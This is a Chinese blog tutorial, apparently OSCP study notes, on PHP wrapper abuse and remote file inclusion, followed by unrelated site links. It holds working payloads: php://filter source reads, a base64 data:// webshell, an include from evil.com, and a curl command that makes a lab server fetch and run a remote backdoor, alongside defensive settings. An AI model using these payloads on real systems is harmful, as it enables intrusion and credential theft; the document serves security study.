当前位置: 首页 > news >正文

4-5〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸远程文件包含漏洞

    郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。 

    💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥 
    更多文章戳👉
Whoami!-CSDN博客🚀

​​


𖤐 现在,我们渐入佳境了,保持耐心,继续前行 ! 

𖤐 𝓝𝓸𝔀 𝔀𝓮'𝓻𝓮 𝓱𝓲𝓽𝓽𝓲𝓷𝓰 𝓸𝓾𝓻 𝓼𝓽𝓻𝓲𝓭𝓮, 𝓴𝓮𝓮𝓹 𝓹𝓪𝓽𝓲𝓮𝓷𝓽 𝓪𝓷𝓭 𝓴𝓮𝓮𝓹 𝓶𝓸𝓿𝓲𝓷𝓰 𝓯𝓸𝓻𝔀𝓪𝓻𝓭!  


→ 信息收集

→ 漏洞检测

→ 初始立足点▸常见WEB应用攻击▸-----我们在这儿~ 🔥🔥🔥

→ 权限提升 

→ 横向移动

→ 报告/分析

→ 教训/修复  

目录

1 常见WEB应用攻击

1.2 文件包含漏洞

1.2.3 PHP协议包装器(Wrappers)介绍

1.2.3.1 PHP协议包装器概述

1.2.3.2 重点包装器

1.2.3.3 利用php://filter读取敏感信息

1.攻击流程图

2.攻击详细步骤

1.2.3.4 利用data://实现代码执行

1. data://攻击流程图

2. data://包装器攻击详解表

3. 攻击前提条件与限制

1.2.4 远程文件包含漏洞(RFI)

1.2.4.1 远程文件包含漏洞(RFI)概述

1.2.4.2 RFI实战攻击步骤

1.准备Webshell

2.启动Web服务器(将simple-backdoor.php作为远程文件)

3.发起RFI攻击

4.验证攻击结果

1.2.4.3 RFI防护策略

💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬


1 常见WEB应用攻击

       Web开发是当前IT领域需求最高的技能之一,然而多种安全漏洞在各类Web应用程序中反复出现。无论使用何种技术栈,这些常见漏洞都可能存在于已部署的应用程序中。主要攻击类型包括:

  • 📁 目录遍历 - 通过操纵文件路径访问未授权资源

  • 📄 文件包含漏洞 - 包含恶意文件执行代码---远程文件包含漏洞(本文)

  • ⬆️ 文件上传攻击漏洞 - 上传恶意文件获取系统访问权

  • ⚡ 命令注入 - 在输入中注入系统命令执行

1.2 文件包含漏洞

接前文。

1.2.3 PHP协议包装器(Wrappers)介绍

        PHP协议包装器就像“万能钥匙” 🗝️,允许PHP以不同方式访问本地或远程资源(如文件、网络)。它们增强了PHP的功能,但攻击者常利用它们绕过安全过滤器,通过文件包含漏洞获取敏感信息或代码执行权限。

1.2.3.1 PHP协议包装器概述
  • 什么是包装器?
    PHP包装器是内置的协议处理器,类似于“交通枢纽” 🚦,让PHP能通过统一接口(如file://http://php://)访问多样资源。

  • 常见类型

    包装器类型用途
    file://访问本地文件系统
    http://通过HTTP访问网络资源
    php://处理PHP流(如输入/输出)
    data://直接嵌入数据(如Base64编码)
  • 攻击面
    ⚠️ 攻击者尤其关注 php://filter 和 data://,因为它们能绕过过滤器读取非执行文件(如配置文件)。

1.2.3.2 重点包装器
  • 功能比喻
    php://filter 像一个“魔法滤镜” 🪄,能在读取文件时进行编码转换(如Base64、ROT13),从而改变文件内容的显示方式。

  • 攻击利用

    • 绕过过滤器:如果Web应用程序限制了文件访问,攻击者可用 php://filter 将PHP文件内容编码后读取(例如,Base64编码),避免直接执行代码。

      • 示例
        include("php://filter/convert.base64-encode/resource=config.php") 会以Base64显示config.php的源代码,而非执行它。

    • LFI(本地文件包含)漏洞利用
      通过路径遍历(如../../../etc/passwd)结合 php://filter,攻击者能读取敏感文件(如数据库密码)。

  • 流程图:这就像“用X光扫描文件” 🔍,直接查看内部结构,而不触发执行。

    正常访问:用户请求 → 执行PHP代码 → 输出结果  
    攻击路径:用户请求 → 使用php://filter编码 → 读取源代码 → 解码获取信息  

📊 主要包装器利用

风险类型包装器示例攻击效果比喻
文件读取绕过php://filter读取PHP源代码偷看日记本📖而不被发现
远程代码执行data://通过嵌入数据执行代码通过“密信”💌传递恶意指令
路径遍历file://访问系统敏感文件用万能钥匙🗝️打开禁止的房间

💡 形象比喻总结

  • PHP包装器就像“瑞士军刀” 🛠️:功能多样,但若被恶意使用,会成为攻击工具。

  • php://filter 是“解码器”:它将执行式访问转为“只读模式”,如同将电影转为剧本——攻击者能分析代码漏洞。

  • 防御建议
    🔒 严格验证用户输入路径,禁用危险包装器(如通过allow_url_include=Off),并定期审计代码。


1.2.3.3 利用php://filter读取敏感信息

      以下是攻击者通过php://filter包装器读取敏感信息的完整攻击流程:

1.攻击流程图

2.攻击详细步骤
步骤操作描述关键发现结果分析
① 直接访问page=admin.php显示标题和维护文本,但HTML代码不完整PHP代码在服务器端执行,无法查看源代码
② 无编码过滤php://filter/resource=admin.php输出结果与直接访问相同PHP代码仍然被执行,无法达到读取源码目的
③ Base64编码php://filter/convert.base64-encode/resource=admin.php获取Base64编码字符串,页面正常加载成功绕过执行,以编码形式获取文件内容
④ 解码数据终端执行base64 -d解码获得完整的PHP源代码,包含MySQL连接信息发现数据库用户名、密码等敏感凭据
⑤ 利用凭据使用获取的凭据登录可实现数据库连接SSH登录完成权限提升,获得系统访问权

各步骤图示:

① 直接访问:下图显示之前审查网页应用程序时已经遇到的标题和维护文本。 注意到:
      HTML代码的末尾没有关闭<body>标签。合理推测,有些东西丢失了。PHP代码将在服务器端执行,因此不会显示。
      当我们将此输出与在浏览器中查看源代码时得出结论,index.php页面的其余内容丢失了。

② 无编码过滤:使用php://filter来包含文件。现在,不对其进行任何编码。PHP包装器使用resource作为必需的参数,用于指定用于过滤的文件流,这里的情况是文件名。我们还可以在此参数中指定绝对路径或相对路径。

输出显示相同的结果。因为PHP代码通过LFI漏洞被包含和执行。

③ Base64编码:使用base64对输出进行编码通过添加convert.base64-encode。 这将将指定的资源转换为base64字符串。下图包含了base64编码的数据。

④ 解码数据:使用base64程序和-d标志(解码)在终端中解码编码的数据。显示出完整(包括之前被执行)的代码,解码后的数据包含:MySQL连接信息,包括用户名和密码!!!

⑤ 利用凭据:可使用这些凭据连接到数据库,或者尝试使用SSH登录用户账户的密码。

  • 为什么需要编码?
    ➤ 直接包含PHP文件会导致代码被执行而非显示
    ➤ Base64编码将源代码转为纯文本格式,避免执行

  • 攻击成功的关键
    ✅ LFI漏洞存在 - 可动态包含文件
    ✅ php://filter可用 - 服务器未禁用危险包装器
    ✅ 敏感信息硬编码 - 配置文件包含明文凭据

🛡️ 防御启示

# 危险配置(导致漏洞)
allow_url_include = On# 安全配置(建议)
allow_url_include = Off
php://filter包装器限制使用

核心教训永远不要在源代码中硬编码敏感信息,并严格限制文件包含功能! 🔒


1.2.3.4 利用data://实现代码执行

以下是使用data://包装器嵌入恶意代码的完整攻击流程:

1. data://攻击流程图

2. data://包装器攻击详解表
攻击阶段技术细节关键命令/代码防御规避效果
① 明文数据注入直接嵌入PHP代码data://text/plain,<?php system("ls");?>基本WAF可检测
② Base64编码绕过编码规避安全检测data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7Pz4=绕过字符串过滤
③ 命令执行通过参数传递命令?cmd=id 或 ?cmd=cat /etc/passwd动态命令执行

① 明文数据注入:使用该包装器,添加data://后跟数据类型和内容。尝试将一个小的URL编码的PHP片段嵌入到Web应用程序的代码中,使用ls命令。text/plain 是MIME 类型,表示数据是纯文本格式。看到,命令被执行了。

② Base64编码绕过:但是,直接明文注入,会被WAF检测到!因此需要编码后注入。

我们先将PHP代码片段编码为base64,然后使用curl将其嵌入并通过 data://包装器执行。

$ echo -n '<?php echo system($_GET["cmd"]);?>' | base64//-n ,echo就不会在输出后自动添加换行符;然后进行base64编码。如果你使用echo -n:echo -n "Hello",会输出:HelloWorld(即,world跟在后面)

data://包装器语法结构

data://[<MIME-type>][;base64],<data>
  • MIME-type: 指定数据类型,如 text/plaintext/html

  • base64标识: 可选,表示数据为Base64编码

  • 数据内容: 要嵌入的实际代码或数据

攻击示例对比

攻击类型URL示例优点风险
明文攻击data://text/plain,<?php system("ls");?>简单直接易被检测
编码攻击data://text/plain;base64,PD9waHA...绕过过滤需要编码

3. 攻击前提条件与限制

默认的PHP安装中,data://包装器不起作用。要利用它,必须启用allow_url_include设置

allow_url_include = On    ; ✅ 允许URL包含
allow_url_fopen = On      ; ✅ 允许URL文件操作

 allow_url_include核心概念

属性详细说明
配置类型PHP.ini中的安全配置选项
控制范围includerequireinclude_oncerequire_once
默认状态Off(关闭) - 安全优先

📊 配置状态对比表

配置状态功能权限安全风险推荐场景风险等级
✅ On(开启)允许包含远程文件(HTTP/FTP)🔴 高危:RFI漏洞开发测试环境💀
❌ Off(关闭)仅允许包含本地文件🟢 低危生产环境
# 📍 配置文件位置:php.ini
# 开启远程包含(危险!)
allow_url_include = On# 关闭远程包含(推荐安全设置)
allow_url_include = Off

💻 代码示例对比

允许远程包含时(allow_url_include = On)

<?php
// 🚨 危险代码示例 - 可能被恶意利用
include('http://evil.com/malicious.php');
?>

执行结果:✅ 可正常包含并执行远程恶意代码

禁止远程包含时(allow_url_include = Off)

<?php
// 🔒 安全限制 - 包含远程文件会报错
include('http://evil.com/malicious.php');
?>

执行结果:❌ Warning: include(): http:// wrapper is disabled in the server configuration

RFI(远程文件包含)攻击流程

攻击场景示例 :http://victim.com/index.php?page=http://attacker.com/shell.txt

  • 攻击结果:服务器下载并执行攻击者的远程恶意脚本


1.2.4 远程文件包含漏洞(RFI)

1.2.4.1 远程文件包含漏洞(RFI)概述
属性详细说明风险等级
漏洞类型远程文件包含攻击🔴 高危
出现频率比LFI更少见(需特定配置)⭐⭐
攻击条件allow_url_include = On关键前提

📊 LFI vs RFI对比表

特性LFI(本地文件包含)RFI(远程文件包含)
文件来源本地文件系统远程服务器(HTTP/SMB等)
配置要求通常默认存在allow_url_include = On
攻击难度相对容易需要特定配置
危害范围本地信息泄露远程代码执行+持久化
漏洞发现LFI部分介绍的相同技术来发现RFI漏洞和LFI部分介绍的相同发现的技术

🔧 RFI攻击流程详解

  • 🕵️ 侦察阶段 - 发现文件包含参数

  • 🔧 准备阶段 - 准备恶意Webshell

  • 🌐 服务阶段 - 搭建远程文件服务器

  • ⚡ 攻击阶段 - 触发远程文件包含

  • 🎯 控制阶段 - 获取系统权限


1.2.4.2 RFI实战攻击步骤
1.准备Webshell

        Kali在 /usr/share/webshells/php/ 目录中的几个PHP webshell,可用于RFI。
        webshell是一个小脚本,提供基于Web的命令行界面,使执行命令更加简单和方便。在这个例子中,将使用simple-backdoor.php webshell来利用“Mountain Desserts”的RFI漏洞。

🛠️ 常用Webshell类型对比

Webshell名称功能特点适用场景隐蔽性
simple-backdoor.php基础命令执行RFI测试⭐⭐
php-reverse-shell.php反向连接shell持久化访问⭐⭐⭐
c99.php图形化文件管理高级运维
b374k.php多功能后门专业渗透⭐⭐
2.启动Web服务器(将simple-backdoor.php作为远程文件)
# 🖥️ 在Kali上启动Python HTTP服务器
cd /usr/share/webshells/php/
python3 -m http.server 80# ✅ 服务器运行在:http://<Kali-IP>/simple-backdoor.php

3.发起RFI攻击
# 💣 使用curl进行RFI攻击
$ curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.119.3/simple-backdoor.php&cmd=ls"
# 📊 攻击参数分解:
# - page参数:指向攻击者的远程Webshell:http://192.168.119.3/simple-backdoor.php
# - cmd参数:要执行的系统命令
4.验证攻击结果


1.2.4.3 RFI防护策略

配置文件层防护

# 🔒 安全配置(php.ini)
allow_url_include = Off
allow_url_fopen = Off
open_basedir = /var/www/html

代码层防护

<?php
// ✅ 安全的文件包含实践
$whitelist = ['home', 'about', 'contact'];
$page = $_GET['page'] ?? 'home';if (in_array($page, $whitelist)) {include("templates/{$page}.php");
} else {header('HTTP/1.0 403 Forbidden');die('Access Denied');
}
?>

WAF规则示例

# 🛡️ Nginx WAF规则
location ~* \.(php)$ {if ($query_string ~* "(http|https|ftp)://") {return 403;}
}

💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬

您的支持是我创作最大的动力!

http://www.dtcms.com/a/419102.html

相关文章:

  • 怎么在淘宝上做网站中交建设集团网站
  • 在线查看网站源码中国最新新闻
  • 轴状态读取(运动控制系列)
  • quic的拥塞控制
  • 【模型系列】Human-in-the-Loop
  • AI项目问题总结大全
  • 【linux内核驱动day03】
  • Accelerate基本使用
  • Day75 基本情报技术者 单词表10 ネットワーク応用
  • 企业网站美化做常州美食网站首页的背景图
  • 网站建设设计的流程wordpress的搭建教程 pdf
  • 页网站腾讯云学生机做网站
  • C++ 模板(Template)基础与应用
  • Flask实战指南:从基础到高阶的完整开发流程
  • I2C总线详解
  • 从底层到应用:开散列哈希表与_map/_set 的完整实现(附逐行注释)
  • MoonBit 异步网络库发布
  • OpenLayers地图交互 -- 章节十六:双击缩放交互详解
  • Kubernetes HPA从入门到精通
  • 株洲做网站的公司网站页面设计
  • 汕头企业网站建设价格视频作为网站背景
  • 视频抽帧完全指南:使用PowerShell批量提取与优化图片序列
  • 1、User-Service 服务设计规范文档
  • 企业网站模板购买企业级网站建设
  • 路由器设置手机网站打不开wordpress跳转二级域名
  • MySQL在线DDL:零停机改表实战指南
  • 哪个做图网站可以挣钱马鞍山网站建设公司排名
  • 杭州公司做网站电商是干什么工作的
  • 揭秘InnoDB磁盘I/O与存储空间管理
  • 【深度相机术语与概念】